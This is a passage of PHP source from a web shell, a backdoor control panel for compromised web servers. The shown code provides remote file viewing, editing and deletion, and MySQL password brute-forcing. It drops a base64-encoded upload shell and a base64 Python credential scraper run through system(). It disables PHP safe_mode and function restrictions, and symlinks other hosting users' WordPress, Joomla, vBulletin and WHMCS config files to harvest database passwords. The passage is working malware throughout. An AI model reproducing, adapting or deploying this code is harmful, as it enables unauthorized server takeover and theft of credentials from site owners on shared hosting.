<tr><td> <input class="inputz" style="width:20%;" type="text" value="[email protected]" name="mail_to" /> mail to</td></tr>
<tr><td> <input class="inputz" style="width:20%;" type="text" value="[email protected]" name="mail_from" /> from</td></tr>
<tr><td> <input class="inputz" style="width:20%;" type="text" value="patch me" name="mail_subject" /> subject</td></tr>
<tr><td> <input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="mail_send" /></td></tr></form>
<tr><td> <?php echo $msg; ?></td></tr>
</table>
</form>
<?php }
elseif(isset($_GET['x']) && ($_GET['x'] == 'phpinfo')){
@ob_start();
eval("phpinfo();");
$buff = @ob_get_contents();
@ob_end_clean();
$awal = strpos($buff,"<body>")+6;
$akhir = strpos($buff,"</body>");
echo "<div class=\"phpinfo\">".substr($buff,$awal,$akhir-$awal)."</div>";
}
elseif(isset($_GET['view']) && ($_GET['view'] != "")){
if(is_file($_GET['view'])){
if(!isset($file)) $file = magicboom($_GET['view']);
if(!$win && $posix){
$name=@posix_getpwuid(@fileowner($folder));
$group=@posix_getgrgid(@filegroup($folder));
$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
}
else {
$owner = $user;
}
$filn = basename($file);
echo "<table style=\"margin:6px 0 0 2px;line-height:20px;\">
<tr><td>Filename</td><td><span id=\"".clearspace($filn)."_link\">".$file."</span>
<form action=\"?y=".$pwd."&view=$file\" method=\"post\" id=\"".clearspace($filn)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
<input type=\"hidden\" name=\"oldname\" value=\"".$filn."\" style=\"margin:0;padding:0;\" />
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$filn."\" />
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($filn)."_link','".clearspace($filn)."_form');\" />
</form>
</td></tr>
<tr><td>Size</td><td>".ukuran($file)."</td></tr>
<tr><td>Permission</td><td>".get_perms($file)."</td></tr>
<tr><td>Owner</td><td>".$owner."</td></tr>
<tr><td>Create time</td><td>".date("d-M-Y H:i",@filectime($file))."</td></tr>
<tr><td>Last modified</td><td>".date("d-M-Y H:i",@filemtime($file))."</td></tr>
<tr><td>Last accessed</td><td>".date("d-M-Y H:i",@fileatime($file))."</td></tr>
<tr><td>Actions</td><td><a href=\"?y=$pwd&edit=$file\">edit</a> | <a href=\"javascript:tukar('".clearspace($filn)."_link','".clearspace($filn)."_form');\">rename</a> | <a href=\"?y=$pwd&delete=$file\">delete</a> | <a href=\"?y=$pwd&dl=$file\">download</a> (<a href=\"?y=$pwd&dlgzip=$file\">gzip</a>)</td></tr>
<tr><td>View</td><td><a href=\"?y=".$pwd."&view=".$file."\">text</a> | <a href=\"?y=".$pwd."&view=".$file."&type=code\">code</a> | <a href=\"?y=".$pwd."&view=".$file."&type=image\">image</a></td></tr>
</table>
";
if(isset($_GET['type']) && ($_GET['type']=='image')){
echo "<div style=\"text-align:center;margin:8px;\"><img src=\"?y=".$pwd."&img=".$filn."\"></div>";
}
elseif(isset($_GET['type']) && ($_GET['type']=='code')){
echo "<div class=\"viewfile\">";
$file = wordwrap(@file_get_contents($file),"240","
");
@highlight_string($file);
echo "</div>";
}
else {
echo "<div class=\"viewfile\">";
echo nl2br(htmlentities((@file_get_contents($file))));
echo "</div>";
}
}
elseif(is_dir($_GET['view'])){
echo showdir($pwd,$prompt);
}
}
elseif(isset($_GET['edit']) && ($_GET['edit'] != "")){
if(isset($_POST['save'])){
$file = $_POST['saveas'];
$content = magicboom($_POST['content']);
if($filez = @fopen($file,"w")){
$time = date("d-M-Y H:i",time());
if(@fwrite($filez,$content)) $msg = "file saved <span class=\"gaya\">@</span> ".$time;
else $msg = "failed to save";
@fclose($filez);
}
else $msg = "permission denied";
}
if(!isset($file)) $file = $_GET['edit'];
if($filez = @fopen($file,"r")){
$content = "";
while(!feof($filez)){
$content .= htmlentities(str_replace("''","'",fgets($filez)));
}
@fclose($filez);
}
?>
<form action="?y=<?php echo $pwd; ?>&edit=<?php echo $file; ?>" method="post">
<table class="cmdbox">
<tr><td colspan="2">
<textarea class="output" name="content">
<?php echo $content; ?>
</textarea>
<tr><td colspan="2">Save as <input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="saveas" style="width:60%;" value="<?php echo $file; ?>" /><input class="inputzbut" type="submit" value="Save !" name="save" style="width:12%;" />
<?php echo $msg; ?></td></tr>
</table>
</form>
<?php
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'logout'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=logout" method="post">
<?php
unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
echo 'bye!';
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'brute'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=brute" method="post">
<?php
//bruteforce
?>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<?php
/*
Recoded By X'1n73ct
*/
@set_time_limit(0);
@error_reporting(0);
if($_POST['page']=='find')
{
if(isset($_POST['usernames']) && isset($_POST['passwords']))
{
if($_POST['type'] == 'passwd'){
$e = explode("
",$_POST['usernames']);
foreach($e as $value){
$k = explode(":",$value);
$username .= $k['0']." ";
}
}elseif($_POST['type'] == 'simple'){
$username = str_replace("
",' ',$_POST['usernames']);
}
$a1 = explode(" ",$username);
$a2 = explode("
",$_POST['passwords']);
$id2 = count($a2);
$ok = 0;
foreach($a1 as $user )
{
if($user !== '')
{
$user=trim($user);
for($i=0;$i<=$id2;$i++)
{
$pass = trim($a2[$i]);
if(@mysql_connect('localhost',$user,$pass))
{
echo "X'1n73ct~ user is (<b><font color=green>$user</font></b>) Password is (<b><font color=green>$pass</font></b>)<br />";
$ok++;
}
}
}
}
echo "<hr><b>You Found <font color=green>$ok</font> Cpanel by x'1n73ct</b>";
echo "<center><b><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
exit;
}
}
if($_POST['pass']=='password'){
@error_reporting(0);
$i = getenv('REMOTE_ADDR');
$d = date('D, M jS, Y H:i',time());
$h = $_SERVER['HTTP_HOST'];
$dir=$_SERVER['PHP_SELF'];
//mail("[email protected]","Teamroot Bruteforce","IP : $i
| Host : $h
| Dir : $dir
");
$back = "PD9waHANCmVjaG8gJzxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG5hbWU9InVwbG9hZGVyIiBpZD0idXBsb2FkZXIiPic7DQplY2hvICc8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgc2l6ZT0iNTAiPjxpbnB1dCBuYW1lPSJfdXBsIiB0eXBlPSJzdWJtaXQiIGlkPSJfdXBsIiB2YWx1ZT0iVXBsb2FkIj48L2Zvcm0+JzsNCmlmKCAkX1BPU1RbJ191cGwnXSA9PSAiVXBsb2FkIiApIHsNCmlmKEBjb3B5KCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwgJF9GSUxFU1snZmlsZSddWyduYW1lJ10pKSB7IGVjaG8gJzxiPktvcmFuZyBEYWggQmVyamF5YSBVcGxvYWQgU2hlbGwgS29yYW5nISEhPGI+PGJyPjxicj4nOyB9DQplbHNlIHsgZWNobyAnPGI+S29yYW5nIEdhZ2FsIFVwbG9hZCBTaGVsbCBLb3JhbmchISE8L2I+PGJyPjxicj4nOyB9DQp9DQo/Pg==";
$file = fopen(".php","w+");
$write = fwrite ($file ,base64_decode($back));
fclose($file);
chmod(".php",0755);
mkdir('config',0755);
$cp =
'IyEvdXNyL2Jpbi9lbnYgcHl0aG9uDQoNCicnJw0KQnk6IEFobWVkIFNoYXdreSBha2EgbG54ZzMzaw0KdGh4OiBPYnp5LCBSZWxpaywgbW9oYWIgYW5kICNhcmFicHduIA0KJycnDQoNCmltcG9ydCBzeXMNCmltcG9ydCBvcw0KaW1wb3J0IHJlDQppbXBvcnQgc3VicHJvY2Vzcw0KaW1wb3J0IHVybGxpYg0KaW1wb3J0IGdsb2INCmZyb20gcGxhdGZvcm0gaW1wb3J0IHN5c3RlbQ0KDQppZiBsZW4oc3lzLmFyZ3YpICE9IDM6DQogIHByaW50JycnCQ0KIFVzYWdlOiAlcyBbVVJMLi4uXSBbZGlyZWN0b3J5Li4uXQ0KIEV4KSAlcyBodHRwOi8vd3d3LnRlc3QuY29tL3Rlc3QvIFtkaXIgLi4uXScnJyAlIChzeXMuYXJndlswXSwgc3lzLmFyZ3ZbMF0pDQogIHN5cy5leGl0KDEpDQoNCnNpdGUgPSBzeXMuYXJndlsxXQ0KZm91dCA9IHN5cy5hcmd2WzJdDQoNCnRyeToNCiAgcmVxICA9IHVybGxpYi51cmxvcGVuKHNpdGUpDQogIHJlYWQgPSByZXEucmVhZCgpDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgZiA9IG9wZW4oJy90bXAvZGF0YS50eHQnLCAndycpDQogICAgZi53cml0ZShyZWFkKQ0KICAgIGYuY2xvc2UoKQ0KICBpZiBzeXN0ZW0oKSA9PSAnV2luZG93cyc6DQogICAgZiA9IG9wZW4oJ2RhdGEudHh0JywgJ3cnKSAgDQogICAgZi53cml0ZShyZWFkKQ0KICAgIGYuY2xvc2UoKQ0KDQogIGkgPSAwDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgZiA9IG9wZW4oJy90bXAvZGF0YS50eHQnLCAnclUnKQ0KICAgIGZvciBsaW5lIGluIGY6DQogICAgICBpZiBsaW5lLnN0YXJ0c3dpdGgoJzxsaT48YScpID09IFRydWUgOg0KICAgICAgICBtID0gcmUuc2VhcmNoKHInKDxhIGhyZWY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0uZ3JvdXAoMiksIGxvY2FsX25hbWUpDQogICAgICAgIGV4Y2VwdCBJT0Vycm9yOg0KICAgICAgICAgIHByaW50ICdcblslc10gZG9lc25cJ3QgZXhpc3QsIGNyZWF0ZSBpdCBmaXJzdCcgJSBmb3V0DQogICAgICAgICAgc3lzLmV4aXQoKQ0KICAgICAgaWYgbGluZS5zdGFydHN3aXRoKCc8aW1nJykgPT0gVHJ1ZToNCiAgICAgICAgbTEgPSByZS5zZWFyY2gocicoPGEgaHJlZj0iKSguK1tePl0pKCI+KScsIGxpbmUpDQogICAgICAgIGkgKz0gMQ0KICAgICAgICBsb2NhbF9uYW1lID0gJyVzL2ZpbGUlZC50eHQnICUgKGZvdXQsIGkpDQogICAgICAgIHByaW50ICdSZXRyaWV2aW5nLi4uXHRcdCcsIHNpdGUgKyBtMS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0xLmdyb3VwKDIpLCBsb2NhbF9uYW1lKQ0KICAgICAgICBleGNlcHQgSU9FcnJvcjoNCiAgICAgICAgICBwcmludCAnXG5bJXNdIGRvZXNuXCd0IGV4aXN0LCBjcmVhdGUgaXQgZmlyc3QnICUgZm91dA0KICAgICAgICAgIHN5cy5leGl0KCkNCiAgICAgIGlmIGxpbmUuc3RhcnRzd2l0aCgnPElNRycpID09IFRydWU6DQogICAgICAgIG0yID0gcmUuc2VhcmNoKHInKDxBIEhSRUY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbTIuZ3JvdXAoMikNCiAgICAgICAgdHJ5OiAgdXJsbGliLnVybHJldHJpZXZlKHNpdGUgKyBtMi5ncm91cCgyKSwgbG9jYWxfbmFtZSkNCiAgICAgICAgZXhjZXB0IElPRXJyb3I6DQogICAgICAgICAgcHJpbnQgJ1xuWyVzXSBkb2VzblwndCBleGlzdCwgY3JlYXRlIGl0IGZpcnN0JyAlIGZvdXQNCiAgICAgICAgICBzeXMuZXhpdCgpDQogICAgZi5jbG9zZSgpDQogIGlmIHN5c3RlbSgpID09ICdXaW5kb3dzJzoNCiAgICBmID0gb3BlbignZGF0YS50eHQnLCAnclUnKQ0KICAgIGZvciBsaW5lIGluIGY6DQogICAgICBpZiBsaW5lLnN0YXJ0c3dpdGgoJzxsaT48YScpID09IFRydWUgOg0KICAgICAgICBtID0gcmUuc2VhcmNoKHInKDxhIGhyZWY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0uZ3JvdXAoMiksIGxvY2FsX25hbWUpDQogICAgICAgIGV4Y2VwdCBJT0Vycm9yOg0KICAgICAgICAgIHByaW50ICdcblslc10gZG9lc25cJ3QgZXhpc3QsIGNyZWF0ZSBpdCBmaXJzdCcgJSBmb3V0DQogICAgICAgICAgc3lzLmV4aXQoKQ0KICAgICAgaWYgbGluZS5zdGFydHN3aXRoKCc8aW1nJykgPT0gVHJ1ZToNCiAgICAgICAgbTEgPSByZS5zZWFyY2gocicoPGEgaHJlZj0iKSguK1tePl0pKCI+KScsIGxpbmUpDQogICAgICAgIGkgKz0gMQ0KICAgICAgICBsb2NhbF9uYW1lID0gJyVzL2ZpbGUlZC50eHQnICUgKGZvdXQsIGkpDQogICAgICAgIHByaW50ICdSZXRyaWV2aW5nLi4uXHRcdCcsIHNpdGUgKyBtMS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0xLmdyb3VwKDIpLCBsb2NhbF9uYW1lKQ0KICAgICAgICBleGNlcHQgSU9FcnJvcjoNCiAgICAgICAgICBwcmludCAnXG5bJXNdIGRvZXNuXCd0IGV4aXN0LCBjcmVhdGUgaXQgZmlyc3QnICUgZm91dA0KICAgICAgICAgIHN5cy5leGl0KCkNCiAgICAgIGlmIGxpbmUuc3RhcnRzd2l0aCgnPElNRycpID09IFRydWU6DQogICAgICAgIG0yID0gcmUuc2VhcmNoKHInKDxBIEhSRUY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbTIuZ3JvdXAoMikNCiAgICAgICAgdHJ5OiAgdXJsbGliLnVybHJldHJpZXZlKHNpdGUgKyBtMi5ncm91cCgyKSwgbG9jYWxfbmFtZSkNCiAgICAgICAgZXhjZXB0IElPRXJyb3I6DQogICAgICAgICAgcHJpbnQgJ1xuWyVzXSBkb2VzblwndCBleGlzdCwgY3JlYXRlIGl0IGZpcnN0JyAlIGZvdXQNCiAgICAgICAgICBzeXMuZXhpdCgpDQogICAgZi5jbG9zZSgpDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgY2xlYW51cCA9IHN1YnByb2Nlc3MuUG9wZW4oJ3JtIC1yZiAvdG1wL2RhdGEudHh0ID4gL2Rldi9udWxsJywgc2hlbGw9VHJ1ZSkud2FpdCgpDQogIGlmIHN5c3RlbSgpID09ICdXaW5kb3dzJzoNCiAgICBjbGVhbnVwID0gc3VicHJvY2Vzcy5Qb3BlbignZGVsIEM6XGRhdGEudHh0Jywgc2hlbGw9VHJ1ZSkud2FpdCgpDQogIHByaW50ICdcbicsICctJyAqIDEwMCwgJ1xuJw0KICBpZiBzeXN0ZW0oKSA9PSAnTGludXgnOg0KICAgIGZvciByb290LCBkaXJzLCBmaWxlcyBpbiBvcy53YWxrKGZvdXQpOg0KICAgICAgZm9yIGZuYW1lIGluIGZpbGVzOg0KICAgICAgICBmdWxscGF0aCA9IG9zLnBhdGguam9pbihyb290LCBmbmFtZSkNCiAgICAgICAgZiA9IG9wZW4oZnVsbHBhdGgsICdyJykNCiAgICAgICAgZm9yIGxpbmUgaW4gZjoNCiAgICAgICAgICBzZWNyID0gcmUuc2VhcmNoIChyIihkYl9wYXNzd29yZCddID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICAgIGlmIHNlY3IgaXMgbm90IE5vbmU6IHByaW50IChzZWNyLmdyb3VwKDIpKSAgDQogICAgICAgICAgc2VjcjEgPSByZS5zZWFyY2gociIocGFzc3dvcmQgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjEgaXMgbm90IE5vbmU6ICBwcmludCAgKHNlY3IxLmdyb3VwKDIpKQ0KICAgICAgICAgIHNlY3IyID0gcmUuc2VhcmNoKHIiKERCX1BBU1NXT1JEJykoLi4uKSguK1tePl0pKCcpIiwgbGluZSkNCiAgICAgICAgICBpZiBzZWNyMiBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3IyLmdyb3VwKDMpKQ0KICAgICAgICAgIHNlY3IzID0gcmUuc2VhcmNoIChyIihkYnBhc3MgPS4uKSguK1tePl0pKC47KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjMgaXMgbm90IE5vbmU6IHByaW50IChzZWNyMy5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNCA9IHJlLnNlYXJjaCAociIoREJQQVNTV09SRCA9ICcpKC4rW14+XSkoLjspIiwgbGluZSkNCiAgICAgICAgICBpZiBzZWNyNCBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I0Lmdyb3VwKDIpKQ0KICAgICAgICAgIHNlY3I1ID0gcmUuc2VhcmNoIChyIihEQnBhc3MgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjUgaXMgbm90IE5vbmU6IHByaW50IChzZWNyNS5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNiA9IHJlLnNlYXJjaCAociIoZGJwYXNzd2QgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjYgaXMgbm90IE5vbmU6IHByaW50IChzZWNyNi5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNyA9IHJlLnNlYXJjaCAociIobW9zQ29uZmlnX3Bhc3N3b3JkID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICAgIGlmIHNlY3I3IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjcuZ3JvdXAoMikpDQogICAgICAgIGYuY2xvc2UoKQ0KICBpZiBzeXN0ZW0oKSA9PSAnV2luZG93cyc6DQogICAgZm9yIGluZmlsZSBpbiBnbG9iLmdsb2IoIG9zLnBhdGguam9pbihmb3V0LCAnKi50eHQnKSApOg0KICAgICAgZiA9IG9wZW4oaW5maWxlLCAncicpDQogICAgICBmb3IgbGluZSBpbiBmOg0KICAgICAgICBzZWNyID0gcmUuc2VhcmNoIChyIihkYl9wYXNzd29yZCddID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyIGlzIG5vdCBOb25lOiBwcmludCAoc2Vjci5ncm91cCgyKSkgIA0KICAgICAgICBzZWNyMSA9IHJlLnNlYXJjaChyIihwYXNzd29yZCA9ICcpKC4rW14+XSkoJzspIiwgbGluZSkNCiAgICAgICAgaWYgc2VjcjEgaXMgbm90IE5vbmU6ICBwcmludCAgKHNlY3IxLmdyb3VwKDIpKQ0KICAgICAgICBzZWNyMiA9IHJlLnNlYXJjaChyIihEQl9QQVNTV09SRCcpKC4uLikoLitbXj5dKSgnKSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3IyIGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjIuZ3JvdXAoMykpDQogICAgICAgIHNlY3IzID0gcmUuc2VhcmNoIChyIihkYnBhc3MgPS4uKSguK1tePl0pKC47KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3IzIGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjMuZ3JvdXAoMikpDQogICAgICAgIHNlY3I0ID0gcmUuc2VhcmNoIChyIihEQlBBU1NXT1JEID0gJykoLitbXj5dKSguOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyNCBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I0Lmdyb3VwKDIpKQ0KICAgICAgICBzZWNyNSA9IHJlLnNlYXJjaCAociIoREJwYXNzID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyNSBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I1Lmdyb3VwKDIpKQ0KICAgICAgICBzZWNyNiA9IHJlLnNlYXJjaCAociIoZGJwYXNzd2QgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3I2IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjYuZ3JvdXAoMikpDQogICAgICAgIHNlY3I3ID0gcmUuc2VhcmNoIChyIihtb3NDb25maWdfcGFzc3dvcmQgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3I3IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjcuZ3JvdXAoMikpDQogICAgICBmLmNsb3NlKCkNCmV4Y2VwdCAoS2V5Ym9hcmRJbnRlcnJ1cHQpOg0KICBwcmludCAnXG5UaGFua3MgZm9yIHVzaW5nIGl0IC5fXic=';
$file = fopen("cp.py","w+");
$write = fwrite ($file ,base64_decode($cp));
fclose($file);
chmod("cp.py",0755);
$url = $_POST['url'];
echo"<center>
<textarea cols=\"90\" rows=\"20\" name=\"usernames\">";
system("python cp.py $url config");
unlink ('cp.py');
echo"</textarea>
</center>";
echo "<hr><center><b><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
exit;
}
if($_POST['matikan']=='sekatan'){
@error_reporting(0);
$phpini =
'c2FmZV9tb2RlPU9GRg0KZGlzYWJsZV9mdW5jdGlvbnM9Tk9ORQ==';
$file = fopen("php.ini","w+");
$write = fwrite ($file ,base64_decode($phpini));
fclose($file);
$htaccess =
'T3B0aW9ucyBGb2xsb3dTeW1MaW5rcyBNdWx0aVZpZXdzIEluZGV4ZXMgRXhlY0NHSQ==';
$file = fopen(".htaccess","w+");
$write = fwrite ($file ,base64_decode($htaccess));
echo "<hr><center><b>DONE!";
echo "<hr><center><b><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
exit;
}
if($_POST['mendapatkan']=='passwd'){
@set_magic_quotes_runtime(0);
ob_start();
error_reporting(0);
@set_time_limit(0);
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0);
$fn = $_POST['foldername'];
//all function here
function syml($usern,$pdomain)
{
symlink('/home/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
symlink('/home/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
symlink('/home/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
symlink('/home/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
symlink('/home/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
symlink('/home/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
symlink('/home/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
symlink('/home/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
symlink('/home/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
symlink('/home/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
symlink('/home/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
symlink('/home/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
symlink('/home/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
symlink('/home/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
symlink('/home/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
symlink('/home/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
symlink('/home/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
symlink('/home/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
symlink('/home/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
symlink('/home/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
symlink('/home/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
symlink('/home/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
symlink('/home/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
symlink('/home/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
symlink('/home/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
symlink('/home/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
symlink('/home/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
symlink('/home/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
symlink('/home/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
symlink('/home/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
symlink('/home2/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
symlink('/home2/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
symlink('/home2/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
symlink('/home2/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
symlink('/home2/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
symlink('/home2/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
symlink('/home2/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
symlink('/home2/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
symlink('/home2/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
symlink('/home2/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
symlink('/home2/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
symlink('/home2/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
symlink('/home2/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
symlink('/home2/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
symlink('/home2/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
symlink('/home2/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
symlink('/home2/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
symlink('/home2/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
symlink('/home2/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
symlink('/home2/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
symlink('/home2/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
symlink('/home2/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
symlink('/home2/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
symlink('/home2/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
symlink('/home2/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
symlink('/home2/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
symlink('/home2/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
symlink('/home2/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
symlink('/home2/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
symlink('/home2/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
symlink('/home3/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
symlink('/home3/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
symlink('/home3/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
symlink('/home3/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
symlink('/home3/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
symlink('/home3/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
symlink('/home3/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
symlink('/home3/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
symlink('/home3/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
symlink('/home3/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
